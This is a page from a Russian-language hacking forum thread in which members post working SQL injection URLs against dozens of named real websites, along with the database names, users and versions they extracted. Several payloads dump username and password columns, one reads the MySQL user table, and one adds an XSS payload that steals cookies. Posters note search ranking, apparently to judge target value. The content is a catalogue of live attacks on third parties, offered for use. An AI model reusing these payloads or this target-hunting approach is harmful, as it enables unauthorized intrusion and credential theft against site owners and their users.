SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.sanmebel.ru/seriya.php?ser=-80+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    User: [email protected]
    Database: wwwsanmebelru
    Version: 4.0.25
     
    2 people like this.
  2. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    interplay.com
    Code:
    http://www.interplay.com/games/support.php?id=-120+union+select+1,concat(version(),0x20,database(),0x20,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    retailtherapy.tv
    Code:
    http://www.retailtherapy.tv/video.php?id=-163+union+select+1,2,3,concat(version(),0x20,user(),0x20,database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    upbulk.com
    Code:
    http://www.upbulk.com/video.php?id=1517+and+1=2+union+select+1,concat(name,0x20,password,0x20),3,4,5,6,7,8,9+from+user--
    filmdeculte.com
    Code:
    http://archive.filmdeculte.com/video/video.php?id=-73+union+select+concat(version(),0x20,database(),0x20,user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
    bloggingheads.tv
    вывод в самой же адресной строке О-o
    Code:
    http://bloggingheads.tv/video.php?id=231&cid=-1214+union+select+concat(username,0x20,password),2,3+from+user--
    thaipods.com
    Code:
    http://www.thaipods.com/video.php?id=-93026211+union+select+1,concat(Name,0x20,Password,0x20,Email),3,4,5,6,7,8+from+Login--
     
  3. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    Code:
    http://vertu-shop.net/news.php?id=16%20UNION%20SELECT%201,CONCAT(Version(),Database(),User()),3,4,5,6%20LIMIT%201,1--
    Database Version: 5.0.89-community-log
    Database name: arslan3_vertushop
    User name: arslan3@localhost


    Code:
    http://www.snseurope.com/snslink/news/news-full.php?id=14142/**/UNION/**/SELECT/**/CONCAT(Version(),Database(),User()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/LIMIT/**/1,1--
    Database Version: 5.0.89-community-log
    Database name: arslan3_vertushop
    User name: arslan3@localhost


    Code:
    http://www.gardenorganic.org.uk/research/news/story.php?id=1025%20UNION%20SELECT%20CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),2,3,4,5,6,7,8,9,10,11,12,13%20LIMIT%201,1--
     
    #11623 SEWERN, 28 Mar 2010
    Last edited: 28 Mar 2010
    1 person likes this.
  4. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    Code:
    http://www.cbdc.ca/stories.php?id=-26+union+select+1,concat_ws(0x3a,user(),database(),version())--&rid=34
    //этот сайт уже был, но скуля была в другом месте

    User: web6u1@localhost
    Database: web6db1
    Version: 5.0.77
    PR5

    Code:
    http://www.cloudynights.com/category.php?category_id=-2+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7,8,9,10,11,12,13,14,15,16,17,18,19--
    //этот так же

    User: [email protected]
    Database: asaint_cloudynights
    Version: 4.1.22-log
    PR6
     
    1 person likes this.
  5. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.essti.com/products.php?ser=-69+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12--&ser1=L3
    User: [email protected]
    Database: essti-1
    Version: 4.1.22-standard

    PR:4

    Code:
    http://www.camp.ru/cat.php?rg=63&id=-30+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,concat_ws(0x3a,version(),user(),database()),41,42--&lst=12
    
    User: tarkon_user@localhost
    Database: tarkon_camp
    Version: 4.1.22-log

    PR: 3
     
    5 people like this.
  6. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    Code:
    http://www.themetalcircus.com/concierto.php?id=-664+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20--
    database: CIRCUS4
    version: 4.1.22
    user: THEMETAL_ROOT2@LOCALHOST
     
  7. edge911

    edge911 Active Member

    Joined:
    21 Feb 2009
    Messages:
    105
    Likes Received:
    142
    Reputations:
    15
    Code:
    http://www.cobkom.ru/news/more.php?CategoryID=1%27&id=18+union+select+1,version%28%29,3,database%28%29,5,user%28%29,7%20--
    version:4.1.25-log
    database:sovkomr4_sovcom
    user:sovkomr4_sovkomr@localhost
     
  8. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    Code:
    http://www.gps-perimeter.nl/index.php?action=text&id=-663+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49--
    User: [email protected]
    Database: alfabit_gps
    Version: 5.0.51a-community
     
    1 person likes this.
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.zamek.poznan.pl/index.php?k=2&s=-162+union+select+1,2,3,4,5,6,7,8--

    user() : [email protected]

    version() : 5.1.45-log

    database() : zamekpl_zamek

    +Пассив XSS

    http://www.zamek.poznan.pl/index.php?k=2&s=-162+union+select+<script>alert(document.cookie)</script>,2,3,4,5,6,7,8--
     
    _________________________
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://fragoria.mail.ru/info.php?Id=219+UNION+SELECT+CONCAT(0x3a,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x3a)--

    Version: 5.0.51a-log
    Database: sky03
    User: sk61284@localhost
     
    7 people like this.
  11. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    Code:
    http://masfan.com/index.php?component=ecommerce&action=view&id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat_ws(0x3a,user(),database(),version()),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--&seccion=
    User: MASFANC_MASFAN@LOCALHOST
    Database: MASFANC_MASFAN
    Version: 5.0.89-COMMUNITY-LOG
     
    2 people like this.
  12. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    Code:
    http://www.opentopia.com/showcam.php?camid=-1487+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(user,0x20,password),22+from+mysql.user--
    Code:
    http://www.weatherusa.net/skycamnet/showcam.php?state=Pennsylvania&id=-10+union+select+1,2,concat(admin,0x20,admin_pw),4,5,6,7+from+phpads_config--
     
    1 person likes this.
  13. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    Code:
    http://www.draytek.com/user/SupportAppnotesDetail.php?ID=-102+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9--
    User: draytekdb_user@localhost
    Database: draytekdb
    Version: 5.0.67-log
    PR5


    Code:
    http://www.jsv-überlingen.de/photo_galerie/view.php?id=164+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14--&categorie=24&next=1
    User: d0045c25@localhost
    Database: d0045c25
    Version: 4.1.22-max-log
     
  14. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://www.salonitalia.ru/album/scripts/show_single.php?id=-1+union+select+1,2,3,4,5,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29+--+
    User: salonitalia@localhost
    Database: db_salonitalia
    Version: 5.0.51a-community
     
  15. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    Code:
    http://www.rws-e.de/php/galerie/view.php?id=8+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14--&next=1&categorie=3
    User: d00b2d43@localhost
    Database: d00b2d43
    Version: 4.0.25-Max-log


    Code:
    http://nasi-krewni.pl/index.php/users/view?id=kozak23&cid=2&album_id=27+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6--
    User: nasi_krewni4@localhost
    Database: nasi_krewni4
    Version: 5.0.66a-log


    Code:
    http://www.fibel-gastro.de/saarland/archiv.php?p=gallery&id=2+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11--
    User: [email protected]
    Database: db282976108
    Version: 5.0.81-log
     
    2 people like this.
  16. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://green-sib.ru/design_view.php?id=-1 UNION SELECT 1,concat_ws(0x3a,user(),database(),version()),3,4,5,6 --+
    User: greenwi1_greenwi@localhost
    Database: greenwi1_gr
    Version: 4.1.25-log
     
    1 person likes this.
  17. -=Razor=-

    -=Razor=- Member

    Joined:
    20 Dec 2008
    Messages:
    30
    Likes Received:
    29
    Reputations:
    3
    Code:
     http://www.interfilm.de/festival2005/filme-a-z.php?id=-1+union+select+1,version()/*
    Version: 4.0.27-max-log

    Code:
    http://www.010travel.com/zhuanti.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,version(),15,16,17,18--
    Version: 5.0.45-community-nt

    Code:
    http://www.modi88.com/za.php?id=-1+union+select+1,Concat(user,0x3a,pass)+from+coadmin--
    Version: 5.0.82-log

    Code:
    http://www.jewelrykorea.net/ko/zg.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--
    version: 4.0.22-log

    Code:
    ttp://www.onceok.com.tw/festival.php?id=-1%27+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14/*
    Version: 5.0.27

    Онлайн магазин
    Code:
    http://www.kvazar.ru/price_new.htm?group_id=-24+union+select+1,2,version(),4,5,6,7--
    version: 5.0.45
    table: user
     
    5 people like this.
  18. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    Code:
    http://australia.daizybabies.com/shop_item.php?id=1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

    User: panales_adminAU@localhost
    Database: panales_nappiesAU
    Version: 5.0.89-community

    Code:
    http://www.a-music.ru/bytopic.php?id=1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6--&brand=1
    User: [email protected]
    Database: amusic
    Version: 4.0.27-log
     
    #11638 total90, 29 Mar 2010
    Last edited: 29 Mar 2010
    2 people like this.
  19. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://kingmotors.ru/makeorder.php?id=-1%27+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
    User: kingmotors_king@localhost
    Database: kingmotors_king
    Version: 4.1.22-lk-log
     
    2 people like this.
  20. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Code:
    http://www.brewerconsulting.co.uk/cases/case.php?id=-6074+union+select+1,2,group_concat(schema_name),4,5,6,7,8,9,10,11+from+information_schema.schemata--
     
    2 people like this.
Thread Status:
Not open for further replies.